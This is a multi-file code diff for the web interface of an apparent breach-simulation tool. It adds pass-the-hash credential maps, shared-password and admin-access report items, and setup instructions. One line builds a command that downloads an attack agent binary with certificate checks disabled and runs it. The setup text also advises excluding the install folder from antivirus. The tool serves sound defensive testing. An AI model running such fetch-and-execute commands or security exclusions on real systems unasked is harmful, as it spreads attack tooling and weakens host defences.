<td>{edge.ip_address}</td>
</tr>
<tr>
<th>Services</th>
<td>{edge.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
{
(edge.exploits.length === 0) ?
'' :
<div>
<h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline">
{edge.exploits.map(exploit =>
<li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')}/>
<div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
}
</div>
);
}
islandEdgeInfo() {
return (
<div>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.scanInfo(this.props.item);
case 'node':
return this.props.item.group.includes('monkey', 'manual') ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
case 'island_edge':
return this.islandEdgeInfo();
}
return null;
}
}
export default InfMapPreviewPaneComponent;

View File

@ -0,0 +1,63 @@
import React from 'react';
import {Icon} from 'react-fa';
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
class PthPreviewPaneComponent extends PreviewPaneComponent {
nodeInfo(asset) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Hostname</th>
<td>{asset.hostname}</td>
</tr>
<tr>
<th>IP Addresses</th>
<td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Services</th>
<td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
</tr>
<tr>
<th>Compromised Users</th>
<td>{asset.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
edgeInfo(edge) {
return (
<div>
<table className="table table-condensed">
<tbody>
<tr>
<th>Compromised Users</th>
<td>{edge.users.map(val => <div key={val}>{val}</div>)}</td>
</tr>
</tbody>
</table>
</div>
);
}
getInfoByProps() {
switch (this.props.type) {
case 'edge':
return this.edgeInfo(this.props.item);
case 'node':
return this.nodeInfo(this.props.item);
}
return null;
}
}
export default PthPreviewPaneComponent;

View File

@ -50,6 +50,13 @@ class ConfigurePageComponent extends AuthComponent {
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(this.state.configuration)
})
.then(res => {
if (!res.ok)
{
throw Error()
}
return res;
})
.then(res => res.json())
.then(res => {
this.setState({
@ -58,6 +65,9 @@ class ConfigurePageComponent extends AuthComponent {
configuration: res.configuration
});
this.props.onStatusChange();
}).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
});
};
@ -217,6 +227,12 @@ class ConfigurePageComponent extends AuthComponent {
Failed importing configuration. Invalid config file.
</div>
: ''}
{ this.state.lastAction === 'invalid_configuration' ?
<div className="alert alert-danger">
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
An invalid configuration file was imported and submitted, probably outdated.
</div>
: ''}
{ this.state.lastAction === 'import_success' ?
<div className="alert alert-success">
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>

View File

@ -2,7 +2,7 @@ import React from 'react';
import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom';
import {Icon} from 'react-fa';
import PreviewPane from 'components/map/preview-pane/PreviewPane';
import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {options, edgeGroupToColor} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
@ -186,7 +186,7 @@ class MapPageComponent extends AuthComponent {
</div>
: ''}
<PreviewPane item={this.state.selected} type={this.state.selectedType}/>
<InfMapPreviewPaneComponent item={this.state.selected} type={this.state.selectedType}/>
</Col>
</div>
);

View File

@ -0,0 +1,58 @@
import React from 'react';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import AuthComponent from '../AuthComponent';
import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions';
import PreviewPane from "../map/preview-pane/PreviewPane";
import {Col} from "react-bootstrap";
import {Link} from 'react-router-dom';
import {Icon} from 'react-fa';
import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane";
class PassTheHashMapPageComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
graph: props.graph,
selected: null,
selectedType: null
};
}
events = {
select: event => this.selectionChanged(event)
};
selectionChanged(event) {
if (event.nodes.length === 1) {
let displayedNode = this.state.graph.nodes.find(
function (node) {
return node['id'] === event.nodes[0];
});
this.setState({selected: displayedNode, selectedType: 'node'})
}
else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
});
this.setState({selected: displayedEdge, selectedType: 'edge'});
}
else {
this.setState({selected: null, selectedType: null});
}
}
render() {
return (
<div>
<Col xs={12}>
<div style={{height: '70vh'}}>
<ReactiveGraph graph={this.state.graph} options={optionsPth} events={this.events}/>
</div>
</Col>
</div>
);
}
}
export default PassTheHashMapPageComponent;

View File

@ -8,6 +8,8 @@ import StolenPasswords from 'components/report-components/StolenPasswords';
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import StrongUsers from "components/report-components/StrongUsers";
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg');
@ -27,13 +29,17 @@ class ReportPageComponent extends AuthComponent {
STRUTS2: 8,
WEBLOGIC: 9,
HADOOP: 10,
MSSQL: 11
PTH_CRIT_SERVICES_ACCESS: 11,
MSSQL: 12
};
Warning =
{
CROSS_SEGMENT: 0,
TUNNEL: 1
TUNNEL: 1,
SHARED_LOCAL_ADMIN: 2,
SHARED_PASSWORDS: 3,
SHARED_PASSWORDS_DOMAIN: 4
};
constructor(props) {
@ -49,7 +55,6 @@ class ReportPageComponent extends AuthComponent {
componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
this.updateMapFromServer();
this.interval = setInterval(this.updateMapFromServer, 5000);
}
componentWillUnmount() {
@ -100,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => {
res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group);
edge.color = {'color': edgeGroupToColor(edge.group)};
});
this.setState({graph: res});
this.props.onStatusChange();
@ -335,8 +340,10 @@ class ReportPageComponent extends AuthComponent {
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
{this.state.report.overview.issues[this.Issue.MSSQL] ?
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
</ul>
</div>
:
@ -362,6 +369,10 @@ class ReportPageComponent extends AuthComponent {
communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
<li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
<li>Multiple users have the same password</li> : null}
</ul>
</div>
:
@ -393,7 +404,13 @@ class ReportPageComponent extends AuthComponent {
return (
<div id="recommendations">
<h3>
Recommendations
Domain related recommendations
</h3>
<div>
{this.generateIssues(this.state.report.recommendations.domain_issues)}
</div>
<h3>
Machine related Recommendations
</h3>
<div>
{this.generateIssues(this.state.report.recommendations.issues)}
@ -446,9 +463,36 @@ class ReportPageComponent extends AuthComponent {
<div style={{marginBottom: '20px'}}>
<ScannedServers data={this.state.report.glance.scanned}/>
</div>
<div>
<div style={{position: 'relative', height: '80vh'}}>
{this.generateReportPthMap()}
</div>
<div style={{marginBottom: '20px'}}>
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
</div>
<div>
<StrongUsers data = {this.state.report.glance.strong_users} />
</div>
</div>
);
}
generateReportPthMap() {
return (
<div id="pth">
<h3>
Credentials Map
</h3>
<p>
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
</p>
<div className="map-legend">
<b>Legend: </b>
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b>
</div>
<div>
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} />
</div>
<br />
</div>
);
}
@ -709,6 +753,57 @@ class ReportPageComponent extends AuthComponent {
);
}
generateSharedCredsDomainIssue(issue) {
return (
<li>
Some domain users are sharing passwords, this should be fixed by changing passwords.
<CollapsibleWellComponent>
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
</CollapsibleWellComponent>
</li>
);
}
generateSharedCredsIssue(issue) {
return (
<li>
Some users are sharing passwords, this should be fixed by changing passwords.
<CollapsibleWellComponent>
These users are sharing access password:
{this.generateInfoBadges(issue.shared_with)}.
</CollapsibleWellComponent>
</li>
);
}
generateSharedLocalAdminsIssue(issue) {
return (
<li>
Make sure the right administrator accounts are managing the right machines, and that there isnt an unintentional local admin sharing.
<CollapsibleWellComponent>
Here is a list of machines which the account <span
className="label label-primary">{issue.username}</span> is defined as an administrator:
{this.generateInfoBadges(issue.shared_machines)}
</CollapsibleWellComponent>
</li>
);
}
generateStrongUsersOnCritIssue(issue) {
return (
<li>
This critical machine is open to attacks via strong users with access to it.
<CollapsibleWellComponent>
The services: {this.generateInfoBadges(issue.services)} have been found on the machine
thus classifying it as a critical machine.
These users has access to it:
{this.generateInfoBadges(issue.threatening_users)}.
</CollapsibleWellComponent>
</li>
);
}
generateTunnelIssue(issue) {
return (
<li>
@ -744,7 +839,7 @@ class ReportPageComponent extends AuthComponent {
return (
<li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html">
critical patch updates.</a> Or change server version. Vulnerable versions are
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
@ -764,7 +859,7 @@ class ReportPageComponent extends AuthComponent {
Run Hadoop in secure mode (<a href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html">
add Kerberos authentication</a>).
<CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
@ -831,6 +926,18 @@ generateMSSQLIssue(issue) {
case 'island_cross_segment':
data = this.generateIslandCrossSegmentIssue(issue);
break;
case 'shared_passwords':
data = this.generateSharedCredsIssue(issue);
break;
case 'shared_passwords_domain':
data = this.generateSharedCredsDomainIssue(issue);
break;
case 'shared_admins_domain':
data = this.generateSharedLocalAdminsIssue(issue);
break;
case 'strong_users_on_crit':
data = this.generateStrongUsersOnCritIssue(issue);
break;
case 'tunnel':
data = this.generateTunnelIssue(issue);
break;

View File

@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
generateLinuxCmd(ip, is32Bit) {
let bitText = is32Bit ? '32' : '64';
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
}
generateWindowsCmd(ip, is32Bit) {

View File

@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
if (val.length === 0) {
return '';
}
return val.reduce((total, new_str) => total + ', ' + new_str);
return <div>{val.map(x => <div>{x}</div>)}</div>;
};
const columns = [

View File

@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
if (val.length === 0) {
return '';
}
return val.reduce((total, new_str) => total + ', ' + new_str);
return <div>{val.map(x => <div>{x}</div>)}</div>;
};
const columns = [

View File

@ -0,0 +1,43 @@
import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
console.log(val);
return <div>{val.map(x => <div>{x}</div>)}</div>;
};
const columns = [
{
Header: 'Powerful Users',
columns: [
{ Header: 'Username', accessor: 'username'},
{ Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
]
}
];
const pageSize = 10;
class StrongUsersComponent extends React.Component {
constructor(props) {
super(props);
}
render() {
let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
let showPagination = this.props.data.length > pageSize;
return (
<div className="data-table-container">
<ReactTable
columns={columns}
data={this.props.data}
showPagination={showPagination}
defaultPageSize={defaultPageSize}
/>
</div>
);
}
}
export default StrongUsersComponent;

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

View File

@ -138,12 +138,11 @@ body {
padding-left: 40px;
}
}
.main .page-header {
margin-top: 0;
}
.index img {
margin: 40px auto;
border-radius: 4px;
@ -172,6 +171,9 @@ body {
display: none;
}
.nav-tabs > li > a {
height: 63px
}
/*
* Run Monkey Page
*/
@ -491,4 +493,5 @@ body {
.label-danger {
background-color: #d9534f !important;
}
}

View File

@ -2,4 +2,4 @@
cd /var/monkey
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py

View File

@ -1,6 +1,10 @@
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to run the software from source you may refer to the instructions below.
How to set up the Monkey Island server:
---------------- On Windows ----------------:
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
1. Create folder "bin" under monkey_island
2. Place portable version of Python 2.7
2.1. Download and install from: https://www.python.org/download/releases/2.7/
@ -8,11 +12,22 @@ How to set up the Monkey Island server:
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27
2.5. (Optional) You may uninstall Python27 if you like.
3. Place portable version of mongodb
3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
3.2. Extract contents from bin folder to monkey_island\bin\mongodb.
3. Setup mongodb (Use one of the following two options):
3.1 Place portable version of mongodb
3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb.
3.3.1 Create monkey_island\db folder.
OR
3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
4. Place portable version of OpenSSL
4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
4.2. Extract content from bin folder to monkey_island\bin\openssl
5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572
@ -51,13 +66,24 @@ How to run:
monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bi
4. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin)
4. Setup MongoDB (Use one of the two following options):
4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin)
OR
4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
5. install OpenSSL
sudo apt-get install openssl